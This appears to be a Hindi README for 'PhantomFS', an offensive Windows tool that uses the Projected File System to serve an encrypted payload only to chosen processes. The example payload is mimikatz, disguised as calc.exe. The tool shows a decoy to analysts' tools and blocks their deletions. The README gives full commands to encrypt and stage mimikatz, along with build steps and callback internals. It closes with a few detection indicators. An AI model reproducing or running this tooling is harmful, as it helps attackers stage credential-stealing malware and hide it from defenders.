
केवल अनुमत प्रक्रियाओं को Windows प्रोजेक्टेड फ़ाइल सिस्टम सुविधा का उपयोग करके पेलोड प्रदान करना
ProjFS प्रदाता। ऐसी फ़ाइलें प्रोजेक्ट करता है जहाँ सामग्री इस बात पर निर्भर करती है कि कौन सी प्रक्रिया उन्हें पढ़ती है। पेलोड AES-256-CBC एन्क्रिप्टेड डिस्क पर संग्रहीत होता है, रनटाइम पर केवल मेमोरी में डिक्रिप्ट किया जाता है। यह किसी भी EDR को बायपास नहीं करना चाहिए क्योंकि पेलोड तब डिस्क पर लिखा जाएगा जब अनुमत प्रक्रियाएँ इसे पढ़ने का प्रयास करेंगी। बाकी सबको एक्सेस अस्वीकार कर दिया जाता है। इससे कुछ विश्लेषक नाराज़ हो सकते हैं क्योंकि उनके उपकरण इसे नहीं पढ़ेंगे या बस एक डिकॉय लोड करेंगे। लेकिन आप आसानी से देख सकते हैं कि यह ProjFS है जो रिपार्स पॉइंट का उपयोग करता है।
1) Generate key: PhantomFS.exe -keygen
2) Encrypt payload: PhantomFS.exe -encrypt mimikatz.exe -key <key> -out mimikatz.enc
3) Serve: PhantomFS.exe C:\Staging -file mimikatz.enc -key <key> -decoy C:\Windows\System32\calc.exe
Example:
PhantomFS.exe C:\Staging -file mimikatz.enc -key 7ed5a44412447be587b2ca2e4eacb17d41c869360663ae0fea1d0caca159483c -decoy C:\Windows\System32\calc.exe
परिणाम: C:\Staging\calc.exe फ़ाइल सिस्टम में दिखाई देता है।
cmd.exe इसे पढ़ता है तो डिक्रिप्टेड mimikatz बाइट्स प्राप्त होते हैंVS2022, PhantomFS.sln खोलें, x64 Release बनाएँ। Windows SDK (ProjFS हेडर + लाइब्रेरीज़) आवश्यक है।
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart
प्रोवाइडर मीडियम इंटीग्रिटी पर चलता है, एडमिन की आवश्यकता नहीं है (ProjFS फीचर सक्रियण के लिए एडमिन आवश्यक है)।
PhantomFS.exe -keygen
PhantomFS.exe -encrypt <input> -key <64_hex_chars> -out <output.enc>
प्रारूप: [16 बाइट रैंडम IV][PKCS7 पैडिंग के साथ AES-256-CBC सिफरटेक्स्ट]
PhantomFS.exe <root_dir> -file <payload.enc> -key <hex> -decoy <benign_file>
[-name <virtual_filename>]
[-allow <process_substring>] (दोहराने योग्य, डिफ़ॉल्ट: powershell.exe, pwsh.exe, cmd.exe)
[-deny-read <process_substring>] (दोहराने योग्य)
[-quiet]
ProjFS कॉलबैक हर फ़ाइल एक्सेस पर TriggeringProcessImageFileName प्राप्त करते हैं:
GetFileDataCallback: नियमों के विरुद्ध प्रक्रिया की जाँच करता है, पेलोड या डिकॉय बाइट्स प्रदान करता हैNotificationCallback PRE_DELETE: गैर-अनुमत प्रक्रियाओं को डिलीट करने से रोकता हैFILE_HANDLE_CLOSED: पुनः-हाइड्रेशन के लिए PrjDeleteFile कॉल करता हैपुनः-हाइड्रेशन ट्रिक आवश्यक है क्योंकि ProjFS पहली बार पढ़ने के बाद फ़ाइल सामग्री को कैश करता है। इसके बिना, दूसरा पाठक वही प्राप्त करेगा जो पहले पाठक को मिला था।
PrjStartVirtualizing API कॉलIO_REPARSE_TAG_PROJFS रिपार्स पॉइंटPrjFlt मिनीफ़िल्टर (fltmc.exe)Microsoft-Windows-ProjFS ETW प्रदाताप्रेरणा: